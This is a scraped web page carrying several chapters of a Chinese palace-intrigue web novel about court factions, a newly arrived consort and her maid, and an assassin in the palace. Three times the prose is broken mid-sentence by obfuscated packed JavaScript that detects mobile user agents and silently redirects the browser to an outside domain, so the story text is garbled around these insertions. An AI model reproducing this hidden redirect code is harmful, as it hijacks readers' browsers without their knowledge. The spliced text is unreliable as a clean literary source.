l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549952|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到。 他望着大殿穹顶时而癫狂大笑时而眉头紧锁,自他继位以来连年号都是沿用先帝的,没有半点要改的意思,这下竟然想连国号也改了! 昏君! 暴君! 疯子! 范存真:“改弦更张乃是大事,何况国号,应斋戒沐浴问于祖庙,若大周先祖同意自然可改。” “对对对,新国号新气象,祖先们一定同意。” 这范存真倒是能哄住陛下,也不是一点用处没有……奸贼!竟然敢给武侯抹黑,该死啊! 刚送了口气,却不想高枉还有治国良策没说。 “朕还有一治国良方要求教诸位。爱卿们不觉得这朝堂上太单调了吗?” 有人斗胆附和,“陛下的意思是?” “都是男人,太没意思,不如选拔女官充盈朝堂,诸位以为如何?” 大召的女官多在五品之下,没有上朝的资格。 百官末祠部令尹没想到这把火能烧到她身上。 高枉看了眼就嫌弃地挥挥手,“朕想要的是存真这样年轻有为俊逸非凡的女官。” 范存真:“臣会安排女官考试,拔擢贤才。” “还得长得漂亮!” “遵旨。” 早朝到这里就结束了,高枉看起来还意犹未尽的样子,满腹的治国良策还没来得及和众大臣分享,不由得叹息,他叫住正要离去的范存真,“爱卿今日宿在宫中吧,与朕抵足而眠,对了,你刚刚加冠还没字,不如朕给你起一个,莫若孔明二字极妙、妙哉、妙哉!” 下朝的大臣们几乎虚脱了,互相搀扶着走出朱雀门,上书的太学生们还跪着,丝毫不知道想铲除的八贼之首竟已成为丞相了。 徐忌收在偏殿换好了常服,落在百官之后,上了顶小轿,低声说:“去集贤雅居。” 徐党诸人连日来如惊弓之鸟,惶惶然不可终日。然高枉素恶结党营私之名,众人不敢公然聚议,遂假托赏花,耗银数千,于集贤雅居设下宴集。 彼时正是暮春,雅居内数百盆牡丹开得泼天富贵——姚黄魏紫压弯枝头,如堆锦绣;赵粉豆绿缀满庭阶,似泻春光。廊下悬着新酿的蔷薇露,案上摆着浸在冰水里的樱桃,连伺候的婢女都簪着时新的芍药。这般宴集,原是该有簪花、赋诗、品茗的雅趣,昔日盛唐曲江宴,也不过如此光景。可今日这满院的国色天香,却像蒙了层灰,连最艳的“醉杨妃”都蔫蔫的,引不起半分赏玩的兴致。 徐党众人垂头丧气,坐立难安,活脱脱一群丧家之犬。先前他们设计将鹤松年打入诏狱,只当拔了眼中钉,朝堂自此便是徐党一言堂,谁曾想风云突变,徐忌收今日竟遭那般折辱。 “原以为鹤松年是心腹大患,除之便可高枕无忧,”一人愁眉紧锁,声音里带着颤,“谁料妖星再起,那范存真来势汹汹,竟深得圣心。照此下去,我等仕途怕是要走到尽头了!” 另一人拍案而起,强作镇定:“公何出此言,长他人志气,灭自家威风!范存真不过草莽出身,既无师门依托,又无派系根基,身如浮萍,全凭陛下一时怜爱才得登朝堂。如今朝中,非我徐党亲信,便是鹤松年旧部,哪有他立足之地?趁他尚未站稳脚跟,我等有的是手段除了他!” “除范存真易耳,”第三人幽幽开口,目光沉沉,“可陛下……古往今来,昏君暴君多见,天下奇葩如过江之鲫,却从未有过当今圣上这般,性情诡谲,匪夷所思啊。” “陛下登基前原是中规中矩的藩王之子,怎会变成如今模样?”有人压低声音,眼神闪烁,“莫非真如民间传闻,是遭了什么……” “休提怪力乱神!”立刻有人厉声打断,面色发白,“若真有诅咒,怎会偏偏留着陛下?” 一语既出,满座俱寂,只闻风拂牡丹,簌簌如泣。忽有脚步声自外而来,沉稳有力,打破了这压抑的寂静。门“吱呀”开了,徐温立在门口,面色平静:“诸位久候了。”他侧身一让,徐忌收的身影缓缓显露。 徐忌收虽已老朽,背脊微驼,须发皆白,可那双眼睛却亮得慑人,扫过众人时,无人敢与之对视,纷纷起身行礼,连大气都不敢喘。 “不必多礼。”徐忌收的声音苍老却带着不容置疑的威严,他在主位坐下,目光扫过满院繁花,最终落回众人脸上,“今日请诸位来,是议两件事。其一,鹤松烟不日返京,那请仙台修建之事势不可挡,若鹤松年借此由头脱狱,便如池鱼归渊,龙入大海,后患无穷。其二,我观他与范存真,似有勾连之兆。范存真得圣心,鹤松年睚眦必报,心狠手辣,又是个手握权柄的年轻虎狼——二人若真联手,便是我等的末日。” 官场上的事,从来是进一尺,便要别人退一丈,没什么中间路可走。 座中一位面色阴鸷的大官猛地攥紧拳头,沉声道:“为今之计,绝不能让鹤松年活着出诏狱!此事要成,非说动江若卢不可!” “难!难如登天!”立刻有人摇头,脸上满是苦涩,“江若卢素来视我等儒门弟子如犬豚,若求他在诏狱动手,岂不是自讨没趣,平白让他看了笑话?” 话音落,满院牡丹仿佛也听懂了这困境,花瓣簌簌落下几片,沾在青砖上,像几滴无声的血。 4. 第 4 章 暮色将近,逼人的黑探出狰狞面目,孤坐大夜之下的皇城就像这黑的面具,择人而噬。离得尚且还远,鹤松烟就感到一股逼人的血煞之气,他攥紧怀中佛珠,不断催促车夫再快些。 城门到时就会关,不会为任何活人动容,冷冰冰的像是乌云散去露出的缥缈仙宫,仙宫在天上,魔窟却在人间。 卫开梧坐在众人中间,小小的马车挤了几个人,像是才觉得不合规矩似的,两个常侍翻身上马,忍着瘀伤前进。 马蹄声哒哒,皇城前这段路铺了青砖,麻木如僵尸的民夫们此生第一次走这么好的路,他们有的光着脚,有的脚掌和草鞋连在一起,呆滞地望向巍巍皇城天阙,那是传达天意的地方。 挤在最后一刻,马车驶入皇城,下一刻,十二城钟声敲响,八方城门轰然关闭。 望着城墙,卫开梧露出一抹嗜血的微笑。 她撂下帘子,孙十童贴着窗子道:“奴才复命去,娘娘由专人陪同,去往寻芳馆歇着,等候陛下召见,娘娘是聪明人,想必知道如何去做,伺候您的吕曼是奴才的朋友,您大可以吩咐她。” 不多时,卫开梧见到了孙十童口中的吕曼,她大约三十来岁,人很瘦,像一张迎风招展的旗。 真奇怪,人怎么会像旗呢。 “给郡主请安。” 卫开梧道:“说说你的情况。” “奴婢和孙常侍同岁进宫,乃是同乡,他住在县城东,我住在城西,彼此互不相识,因被前常侍黄万钟买下坐着一辆马车进京,彼此有了照应,孙常侍大我半岁,这些年来以兄妹相称。” “他说你是他的朋友?” “正是。” “家里可还有什么人吗?” “离家三十载,不知家中情况,唯有一个妹妹,在薛博士府上当厨娘。” “我问孙十童。” “孙公公家中十多年前起了场大火,全家人没逃出来,都亡故了。” “那他就没什么亲人了吗?” “有,孙公公收养了几个孩童住在长安西郊的庄子上,旁人不知道此事,那庄子也不在他名下。” 卫开梧从袖袋里拿出一个荷包给她,“你虽然是孙十童派来的,他跟你说过我跟他的关系?” “是。” “怎么说的?” 吕曼收下荷包回复道:“孙公公说郡主是难得的聪明人,让我听郡主吩咐,多跟郡主说说长安里的情况。” “最近有什么大事小情是我需要知道的吗?” 吕曼道:“范存真范相公当了丞相,徐老相爷罢官在家,这是五天前的事了。” “跟我说说这范存真是什么来历?” “他本是渔阳郡一耕读人家的清白读书人,少有贤名,拜了名师,并非世家贵胄之后,名声不在京中。只因为陛下做了个梦,梦见与一布衣书生泛舟江上,点评天下俊杰,梦醒之后,白龙鱼服乘舟下江,于城外五十里江心岛见到了范大人……是为应梦贤臣。” 这倒是与她所知分毫不差,范存真确实是这么发迹的,以近乎荒唐诡异的手段成为了高枉的应梦贤臣。不过民间更常称呼他为八贼之首、妖星降世。 “后宫里,得宠的都是些什么人?” “自是蕊夫人最为得宠,瑞夫人姓赵,是博望郡刘福美献上的美人,风头一时无两,蕊夫人生性狡魅如狐,智计百出,在宫中颇得人心,皇后是民间采选,先帝做主,不得陛下宠爱。” 如果她没记错皇后吴姬会在三个月后被高枉分尸而死,前世她和吴姬只有几面之缘,却看得出她非引颈就戮之辈。 或许,吴姬会成为她的助力。 “夜深了,你退下吧。” “是。” “我的贴身侍女赵蒲也睡在外间,你莫要吵醒她。” “是。” 吴曼躬身倒退着出去了。 关上门,悄无声息走出几十步,一粒豆大的烛火燃起,照亮一张约十五六岁的平凡面孔,“你可算出来了,叫我好等,床铺给你铺好了,炉子也烧热了,我一身是汗,等你回来落了门闩就能开窗了。” 说着她脱掉外衣只穿小褂,摸索着支起瓦片顶住半扇小窗,回头看吴曼正立在门口盯着她。 “哪来的瓦片?” 吴曼打量着焕然一新的外间,这里来来回回住了几个美人,从没这般干净过。 “瓦片?我拜托哥哥上房顶揭的,放心,不是揭的我们住的房。” 吴曼注意到桌子上有只满菜的碗,赵蒲说:“多半是凉了,正好炉子还热着,我本是想烧些艾草,可艾草路上用光了,只点了些香,在四角撒了些雄黄和白善土,姐姐那有艾草吗?” “有,我明日给你拿来。” “多谢姐姐,我哥哥这会必然安排了宵夜,这就唤他分些来。对了,我包袱里还有葫芦酒,是我哥哥叫我藏起来的,这就热上与姐姐一块吃喝。”说完,赵蒲酒爬到窗户处,活灵活现地学了几声夜猫子叫,吴曼专心把瓦罐放在炉子上烧热,心中思绪百转千回,止不住翻腾。 没一会儿个带刀侍卫翻腾到二楼,跨过围栏,塞了几个荷叶包好的菜,小声和妹妹说话,“我和寻芳馆的侍卫打过招呼了,钱也使了,你……”“我也认识了孙公公安排的姐姐。” “明早早些起来,不是在家里,莫要赖床,水土不服,包袱里有药,煎服来吃。”“我都晓得。” 兄妹两人说完了话,赵蒲拿巾子裹着尚且热烫的吃食放在桌上。 吕曼说:“城里宵禁来的早,除了些私营的管子藏在巷子深处,没人引荐怕是不晓得。” 吕曼一眼看出赵蒲拿来的几道菜是哪家私房馆子的。 赵蒲说:“真是怪了,我哥哥在家中不善交际,呼朋唤友的都是父亲姐姐出面,我还想大小姐怎么带了他来,不想他这般藏拙。” 吕曼不知她这话是真是假,两人拿起筷吃喝起来,此时已到后半夜,吃完饭,吕曼很快在赵蒲轻不可闻的呼吸声中睡着了,这是她进宫三十年来为数不多如此迅速入眠。 睡不到二更天,卫开梧便醒了,入目一片漆黑,门窗紧锁,她的剑挂在床头,刚醒来那几日她还年幼,日日需抱着剑才能得到片刻安宁,满腹神鬼之事却不知向何人诉说,她已经离家数年,在场见到孩童时代的父母,尚且年幼的弟妹,大哥尚未离家,不过是十岁顽童,被二妹一口一个小金池长老地奚落。她和大哥都不明白二妹笑什么,却听得出那不是什么好话。 她在黑夜摸索着,从桌上拿起火折子,吹了口气,房间里亮起一簇火苗。打量着这个陌生的房间,赵蒲将打扫得很干净,完全没了上一任主人生活过的痕迹,她点燃蜡台上的半截红烛,盯着蜡泪缓缓滴落,伸出食指去接。 “二月初八……” 这是个好日子,往后几个月高枉都会深陷大夏国来使之事,无暇想起小小的寻芳馆,这就给了她一段宝贵的时间。 上一次,她不想连累家人,在花鸟使上门时就随之而去,大雪落下之气就到了长安,不出二三日就见到了高枉。 彼时,她与南宫瑾住在对门,南宫瑾是南宫世家的庶女,因卷入前朝泄密大案、举族被定了里通外藩的大嘴,被夷灭三族,行刑当日,高枉亲自前往法场,却因此救了南宫瑾一命,她入宫得宠了不过半年,就被弃如敝履。 她是怎么从宫中逃出去的,牵连了多少个宫女太监,高枉虽不在意她,却因之杀了不少人,连她身边使唤的宫女太监都未曾幸免。 高枉嗜杀成性,那般不过是寻常罢了。 想着前尘,卫开梧不禁折断了桌角,外头的赵蒲也没完全睡下,这一点烛火让她也醒了过来,提灯悄无声息地进来,站在门口等着吩咐。赵蒲原不是她的心腹,上次她带的侍女中没有赵蒲的名字。 “郡主,可还睡下吗?” “不了,予我更衣。” 半盏茶后,吕曼也进了来,容色中不见疲惫。还没来得及给她安排差事,吕曼不发一语。 过了半个时辰,天才蒙蒙亮。卫开梧吹灭蜡烛,在黑暗中用了早饭。不至于味同嚼蜡却也没尝出什么滋味。 “可是饭菜不合胃口吗?”赵蒲心细,早早差人收拾了厨房,采买了所需用品,“或许是这井水?我派人去山里打的山泉水,并未用井水啊。” 卫开梧带她来,看中的就是她心细如发,这天赋并非后天训练而成,十年前,她一朝梦醒,就开始安排后事,赵蒲就是她将厉王府筛过几遍后网罗出的人才,小小的人,比她还幼小二岁,却能训得一大家子人俯首帖耳,做事自有章法,不用人教,天赋卓绝。 赵蒲上了几年学堂后就被派出去做事,半年前才回到她身边,当日,卫开梧看着跪在她身前的赵蒲询问:“你已当上船舶司市主管,也算前途无量,我把你叫回来继续做侍女,叫你同我一起入宫,你会不会怨恨我。” 赵蒲说:“属下不敢欺瞒,说心中没有一点怨恨,那是骗人的,属下不明白。” “你会明白的,很快。” 赵蒲回过神来,又给卫开梧添上半盏清茶漱口,早起的困意被苦而甘的茶香驱散,主从二人闭目小憩,吴曼这才目光放肆了些看向两人,心中思量如何与孙十童回话。 忽然,有人扣扣门,长三声,短三声,赵蒲立刻放下杯子来到门前,轻声道:“河倾月落。” 对方答:“树影成双。” 赵蒲打开门,门外是个精壮的卫士,披一身红色皮甲,收执长矛,正式她的兄长赵英,“门外来了几个太监,要问问狭间古道的事。” “吕姐姐。”赵蒲喊道。 “我这就去问问。” 吕曼不想她发挥长处的机会这么快就到了,他裹紧披风,早上的天气实在寒凉,门口的几个太监饶是身体强健也不免打着哆嗦,只想赶紧办完差事回去复命。 “张顺立,怎么是你来了?”吕曼熟稔地交出其中一人的名字,张顺立见了她也是意外,“吕曼?你不是在膳房当差,怎么跑到寻芳馆来了?” “新来的厉姬和孙十童有旧,路上又多有照看,孙公公让我给厉姬说说宫的规矩。”吕曼引着几人来到偏厅坐下,一进屋子,热气轰轰熏在脸上,两个粗使丫鬟端着热气腾腾的早饭送了上来,碳炉上还热着汤。 吕曼只来了一日,却也摸清了赵蒲的脾性,迅速做出了类似的反应,加上她又和张顺立相熟,见几人神色惊疑不定,不知道吕曼和这厉姬的路数,此刻有点如坐针毡。 “厉姬千里迢迢而来,思念家乡,睡得不踏实,半个时辰前就醒了,她身边得用的侍女赵蒲姑娘张罗了饭菜,可惜厉姬没什么胃口,都叫撤下来了,我见几位一路奔波想必还没吃上早饭,加上厉姬还需梳洗片刻,就问了赵蒲姑娘,先吃了饭再说。”吕曼说着看了眼碳炉上的汤锅,见盖子被蒸汽顶开颤动,让小丫鬟拎了来。 张顺立是带着审问的阵势来的,被吕曼的亲切打了个措手不及,一股心气散了,和左右互相看了看,纷纷拿起筷子。 赵蒲来时,见吕曼和几个宦官说说笑笑,神情松弛,就拎着裙角卖进门槛,“听说宫里来人了,我还没学好宫里的规矩,幸好孙公公妥善请了吕姐姐来,又与几位相熟,这才让我松了口气,我拿了些辽东的特产糯米黄糕来,刚出的锅,还是热的。” 吕曼急忙站起接过,又拉开凳子让她坐下,张顺立等人还没反应过来,就被一人塞了一包铜元宝,这和给赏钱又不一样,铜元宝形状憨态可掬,底下刻着吉祥如意、身体康泰、万事顺心的字样,没人不喜欢。 只是第一面,张顺立等人就对赵蒲升起了不少的好感,还没见厉姬本人,仅仅是她身边的侍女,就让他们有这种感觉的,还是第一次,怪不得吕曼跟换了个人似的。 吃过饭喝过汤,小丫鬟又戴着几人去漱口惊面,不仅一侧的恭桶毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549953|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭气,点燃的熏香虽然这是最便宜的松香,但却也和冬日相映成趣,墙上挂着面锃亮的铜镜、雪白的巾帕、连冬日防风裂的面油都准备妥当,再熨帖不过了,三人面面相觑,只觉得厉姬这里无一不是细致,无一不周到,“这才一天不到,厉姬竟然办了这么多事,寻芳馆可真是来了个大人物。” 等他们再回偏厅,桌上的残羹剩饭都撤了下去,换上了香茶,椅子上竟然放了几个靠垫,让人一靠上去就不想起来。 “郡主还要一会儿才能出来,张公公有什么话就问我吧。” 张顺立不把她当成一般侍女来看,而是个能沟通的对象,“姑娘和厉姬途径狭间古道遇到歹人袭击,可看清楚了歹人是朝着哪路人马去的?是孙常侍还是邓常侍?” “歹人朝着马车射箭,先是巨石从山坡上滚下来,死伤无数,郡主乘坐的马车也被砸烂,孙常侍和邓常侍都受了伤,歹徒追着不放,不见是朝着特定的人去的,衣着华贵的贵人们都遭到了针对,我们这些丫头也未能幸免。” “你可记得鹤松烟鹤大人吗?” “记得。” “歹徒可是冲着他来的?” 赵蒲思量道:“应该不是。” 张顺立目光凌厉起来,“为什么这么说?” “鹤大人手无缚鸡之力,又不是什么大官,如何能有仇人派这么些人袭杀他呢?” “怎么不可能是?鹤松烟虽然名声不显,但他的兄长却是前朝举足轻重的大官,虽然已经被下了狱,但一直找不到足够的证据,所以暂且还留着性命,他们乃是同胞兄弟,杀了鹤松烟如断鹤松年一臂,说不定就有人想让他死在牢狱里呢?” 赵蒲将这些话顺了一遍,“也有道理,这么说来是有几个刺客冲着鹤大人而去,数量上……” “咳,我的话已问完,时候不早,姑娘就不必送了,吕使也不必相送,回见。” 倒是不提见卫开梧了。 二人一前一后去回话,卫开梧听完问道:“他们绝口不提那些劳役,反而想把此案定性为仇杀,赵蒲,你怎么看?” “我也觉得奇怪,那些人的目的或许是为了破坏请仙台的建造?太监们怕陛下知道所以想让鹤大人背锅?那鹤大人岂不是危险了?” 卫开梧看向吕曼。 吕曼上前一步说道:“鹤松年原为先帝执掌少府,是先帝的心腹。” 这不得不追溯到大召元年,先帝高失卢登基之前。 高失卢无子女郁郁而终,高枉以诸侯王继大统。 话说到此处也就无需往下说了,赵蒲和吕曼依次告退,合上房门。 刚一出门,赵蒲的脸色瞬间严肃起来,飞快向吕曼使了个眼色,“跟我来。” 屋里头又只剩下卫开梧一人,她端起茶杯,看向横梁上方,道:“出来吧。” 一个身穿黑色劲装的身影遽然落下,一把匕首横在卫开梧脖颈间,却被她用筷子牢牢抵住。 黑衣人没想到自己的杀招竟然这么轻易被接住,一时间不由得愣住了。 “你不是我的对手,如果不是我不想处理你的尸体,你还能活着吗?” 黑衣人身上飘出浓重的血腥味,卫开梧抽走他的匕首,扔到桌子上,“你是狭间古道截杀民夫的杀手?怎么跟着我来了?” “你是什么人!” “看来你不想说。”那她也没必要问了。 话音落下,杀手只感觉眼前一花,桌子上的匕首不知怎么的插进他脖子里,听到重物倒地的声音赵蒲才进来,身后还跟着她哥哥与另两个侍卫。 “抬出去吧。” 侍卫们低着头,迅速抬走了尸体,吕曼站在门口,神色惊疑不定。 “刚刚地上有血迹,还未干,由此我推测有歹人在房梁上。”赵蒲低声道。 “不错,他或许是趁乱混进车队里,躲在哪个货车底下混进寻芳馆。” 对吕曼来说,这半刻钟的时间却发生了这么多惊心动魄的事,她还有些没缓过神来,不管是厉姬还是赵蒲侍卫们都不见惊诧,仿佛只有她大惊小怪。 “这些边地来的真是让我开了眼界。”吕曼不由得心想,更恭敬了些。 张顺立从后门出去,路过一个正在刷碗的粗使婆子,见她正把剩饭剩菜规整地放在推车里的一排排粗木碗里,安排的井井有条,问道:“大嫂子,这是干什么?” “您是郡主的客人吧,郡主身边的常欢姑娘吩咐我把剩饭菜分给附近的乞丐,已经通知下去了,会有人来拿。” 这可真稀奇。 他没马上走,而是在寻芳馆后门不近不远地徘徊了一会儿。 像那粗使婆子说的,没多长时间有十几个高矮不一的乞丐犹犹豫豫地来了,依次从推车上拿下木碗来吃,吃完后又按照婆子说的把碗拿到竹筒流出的水桶处洗净,交给婆子后才倒了谢说了吉祥话离开。 待婆子推着小车回到寻芳馆关上门,张顺立还有些回不过神来。 “这太文明了”“太优雅了”,甚至不该发生在乞丐和老婆子身上。 可它偏偏又发生了。 左边的太监道:“张哥哥,这厉姬跟她的下人都有些邪性……” “废什么话,耽误好一会了,还不快走!” 皇宫中森森寒凉冒着见不得人的鬼气儿,不怎么能见到活生生的人。 张顺立在皇宫西侧屏息静待了片刻,才听到一声不带一丝感情的“进来”。 里头坐着个瘦长阴郁的中年男子,头发一丝不苟盘成发髻,脸颊黄而凹陷,看起来大病初愈,深秋的天气却穿着棉衣,捧着手炉,身体仍然打着哆嗦。 张顺立垂着头,汇报道:“小的刚才厉姬那儿回来,没问到什么有用的线索,只是孙十童把吕曼派到了厉姬身边伺候,说不定有什么勾结。” “吕曼。”佘童轻轻咬着这两个字,“盯紧她。” “是。” 5. 第 5 章 今日的太阳出的迟,赵英答应给妹妹赵蒲买长安卖的最火的胭脂,去晚了可就卖没了。他有些局促地站在胭脂铺子外面,排队的都是些管事模样的女子,还有零星几个妙龄丫鬟。赵英站在其中,宛如鹤立鸡群,他身材高大健硕,有些不安地搓着手,排在他前面的管事娘子频频看了他几眼,终于忍不住搭话:“给娘子买?” “给妹妹、妹妹。” “你这样的好兄长可不常见,她叫你买什么品类,可记住了。” 赵英回忆着,“是叫秋菊傲霜。” “这可不好买,你看前面那么多人,到你没准卖光了,可有替补的?” “这……” 管事娘子从袖袋里拿出一张纸抖开,“这是我要采买的脂粉名录,你可从中挑几样。” “多谢姐姐。”赵英赶紧记住前面几个名字,“多谢嫂子,不知姐姐姓氏?如何称呼。” “我叫韩枝茛,叫我韩娘子便可,小兄弟是打哪来啊?” “我是辽东人,随主家到长安公干。” 一听他是边民,韩娘子挑了挑眉,“那你的官话说的倒好,一点口音都听不出来,乍一听和本地人无有区别,真是奇了,我们老爷府上迎来送往外地客商居多,口音也是天南海北,我见过几位辽东来的豪商,若是说快了,我真听不懂他们在说什么。” “好叫姐姐知道,我家主人请了师傅特意教我们说好官话,我说得最好,才被带在身边,一路走来真是长了不少见识。” 韩娘子又打量他一番,“这倒是罕见,我家老爷是太府寺主簿,管理商务文书,若是有大宗货物要买卖的需到太府寺留案卷,你主家派人到太府寺去过了吗?” “还不曾。” “都带了些什么货物?” “几十匹马,特产三十车,珍珠玉器五车,粮食装了几艘大船,十日后到。” 韩娘子娓娓道来:“那可真不少,想来也不是第一次来长安了,只是如此多货物得留下案卷后才能进城中货仓。这段时间太府寺忙得很,我家老爷已经数日宿在官署,你若是着急,就免不了使些银子,你到太府寺就说要找张主簿的长随姚破甲,他是我的亲戚,能说上几分话。” 赵英再三道谢,“主家正为此事头疼,姐姐这话是及时雨雪中送炭,多谢姐姐,改日必有重谢,还请姐姐留个地址,好叫我登门。” 韩枝茛说了地址,“排到我们了,进去说话吧。” 赵英回到寻芳馆已经是正午时分,他把胭脂随手扔到桌上,换上护卫的软甲,径直来到卫开梧院子里。 他妹妹赵蒲正坐在台阶边看炉子,看见赵英来了起身去通传,等了片刻,赵蒲出来说:“郡主喊你进去,肉羹我给你留一碗。” 赵英笑得露出两颗白生生的虎牙。 卫开梧放下笔墨,将信件装进信封,用火漆封好,道:“吩咐你去做的事可有眉目了。” “是,我已经和太府寺主簿张倍稆的家人接触上了。”他将与韩枝茛交谈的细节一一说了,之前派来长安的探子早将张倍稆的生平汇总传回了辽东,呈给卫开梧看过,太府寺负责监管全国商业贸易,下辖市舶司、盐铁司、茶马司等衙门。 自从太府寺少卿被高枉砍了头之后,这个职位便一直没有人补上,而张倍稆虽为主簿却一直履得是少卿的职。这在九卿衙门里格外显眼,被什么人盯上不足为奇。 吕曼上午告了假,卫开梧心知她必是要去孙十童那儿,点头允了。 孙十童住在皇城东角的太监所里,他虽然混出头来,可住的仍是太监所的一处小院子,这没什么的,当粗使太监时,几十人挤在大通铺里头,冬日还好些,其他季节熏得他几乎嗅觉失灵。 院子晒着几笸箩药材,治疗一些常见病,太医属的医官不会给太监看病,有钱的四处求爷爷告奶奶托人从宫外买药,没钱的只能老实等死。孙十童偷了医书背了几张药方,数次救他于为难之中,只是,自打他发迹,通过给太监宫女瞧病开方子抓药笼络人心之事他没再干了,可如今,不得不又捡起来。 上一年,孙十童还志得意满,他得了皇后娘娘的看中,管着中宫,谁人见了他不恭恭敬敬称一声“大长秋”,可自从先帝无子而亡,新人换旧人,先皇后也搬出了长信宫,被打发到无名宫殿居住,孙十童也失去恩宠,从云端跌到泥里,得意时花团锦簇,失意时萧条冷落,“昔日如登泰山之巅,一览众山小,人皆仰其高;今朝如坠深渊之底,四顾茫然,人皆避如瘟疫……” 他不想就这么下去,他想回到天上。 “会有这么一天。” 孙十童抬起头,见吕曼挎着筐子进了来,将筐子放在桌案上,“赵蒲给我带了几张馅饼,让我拿给你。” 孙十童糊涂了,赵蒲是谁? “赵蒲姑娘是厉姬身边的贴身侍女,现在和我一个屋子住。” 掀开盖子,香气飘出来,孙十童探身往笸箩里看了一眼,“她倒是会笼络人。” “今日早上张顺立来过,问你遇袭的事儿。” 孙十童摆摆手,“我哪来的那么大的牌面,八成是冲着姓鹤的……也没准是要那帮苦哈哈的命。” “前日徐阁老被当庭羞辱,前朝乱作一团,还没人抽出功夫关注狭间古道一事,陛下恐怕也不清楚,他和范存真……去伪存真,真是个好名字!” 见他忌妒得快要着火了,吕曼笑了笑,说了些其他事,孙十童这会儿脑子清醒了,“看来厉……姬果然是个有本事的,以后宫里可热闹了,以前宫里有传言蕊夫人是‘替身’,我只当是笑谈,没想到竟然是真的。” 他和赵蕊往日无冤近日无仇,她快要倒霉了,孙十童也不会特意去嘲笑,“柱还没回我话,他倒是得意了,以前是个什么身份牌面的人物,如今也抖起来了。他为了从净房出来到处舔管事太监的钩子,可算他熬出头了!” 杨柱是刘皇后的心腹宦官,从前不过是长信宫刷马桶的粗使,见不到贵人一面,却也一朝得势,连他的话也不听了。 “太后……”吕曼轻声道。 孙十童却像被刀刺了下,不愿意谈起先皇后。 见状,吕曼只叹气,他的起落都系在太后身上,如今太后荣光不在,他们这些依附的莬丝子也如猢狲般散去,这也正式他们这些人的悲哀,宫女、太监,不想随主子去的只有拼命找新主子,在将根系小心翼翼地扎在她身上, 她来得早,太阳还没升起,吕曼心知孙十童胃口不好,把饼拿了出来,说道:“这是关外的做法,和我们常吃的不同,多少吃一口,不然赵蒲知道了可是要伤心了。” 孙十童惊异不过一晚她身上竟然出现了这么大的变化,好像一潭死水忽然活泛起来,他实在没胃口,递来的饼泛着香料和菘菜的香气,孙十童抽了抽鼻子,接过来大口咀嚼起来,“我屋里柜子上有瓶葡萄酒,你且拿来。” 那瓶酒她有印象,是孙十童初为长信宫大长秋时太后赏赐的,那是太后未嫁之时其祖母所赠予,意义非凡,拿来赏赐宦官过分厚赐了,孙十童因此感激涕零,为太后鞍前马后效死不悔。如今,却在这么个平白的清晨,两人借着菘菜肉饼,一起吃了。 吃完饭,孙十童朝西面太后的宫殿恭恭敬敬磕了三个响头。 背后,秋风肃杀。 寻芳馆在朱雀大街和玄武路之间,左边挨着通济寺,右面挨着何乐坊,只有一条水渠隔着,站在二楼眺望能看见坊内水渠上的木筏,清晨刚一亮,送货的筏主人便撑着篙给何乐坊订了饭菜的富裕人家送朝食,筏主人年岁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549954|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大哼着歌,不经意抬头一瞧,只见几丈外一处雕梁画栋的楼阁中,画中仙不经意地看向他,少年的竹篙落在水中,他急忙去捞,却不小心跌到河中,再仰头看去,画中仙已然不在了。 “无垢佛在上,我今天是看见妙音天女了吗?” 杨先儿提着食盒湿漉漉走到张府后院,丫鬟婼儿争等着他,见他一副落汤鸡模样吃了一惊,“好端端的怎么落水了,我去拿我爹的衣服给你换上。” “多谢姐姐。” 杨先儿明显比婼儿年长,却叫她姐姐,这是一种对女子的尊称,不论年纪大小都这么称呼。 婼儿很快拿了她爹不常穿的旧衣服,杨先儿有些局促地接过去巷子无人处换上,半晌后回来靠在门墙处等着。 婼儿往返不过半盏茶的功夫,因长安居大不易,她家老爷只是个七品小官,住的只是个一进的宅院,还是从公舍赁的,一年租金要半年的俸禄…… “我回来了。”婼儿将食盒交给杨先儿,又递给他一个篮子装湿衣,“快说说你怎么回事?” 她揣了把瓜子坐在门槛上,杨先儿这是送的最后一家,不着急,被她堵住逃脱不得,只得讷讷地说了,逗得婼儿哭笑不得。 “你说的那地方我知道,是叫寻芳馆吧,总是有美人出入,前段时间我弟弟去看了,魂不守舍的。” 杨先儿心想她还真知道,忙蹲下来细听。 婼儿冷笑几声,“那美人前些日子来的,后来就成了两截儿~” “两截?”杨先儿不懂。 婼儿做了个剁骨屠夫的手势,“啪~!这还不懂吗?” 杨先儿脸色发白,“你是说,腰斩?” “可不是。”婼儿也抱着肩膀,“好端端的大美人,我弟弟回来后发了几天高烧,听说那美人是哪个州县的娘子,已经成亲多年,被花鸟使者捉来,献给了陛下,一个月后,被劈成两半还给了家人。” 这几乎是怪谈了,杨先儿勉强笑笑,瞧着诺尔的白脸身子不由自主地抖了抖,觉得能如常说出这话儿的婼儿也恐怖了起来,忙拎着食盒跑了。 “胆小鬼。”婼儿唾了一口,整理了下裙子关上后门回院里头去了。 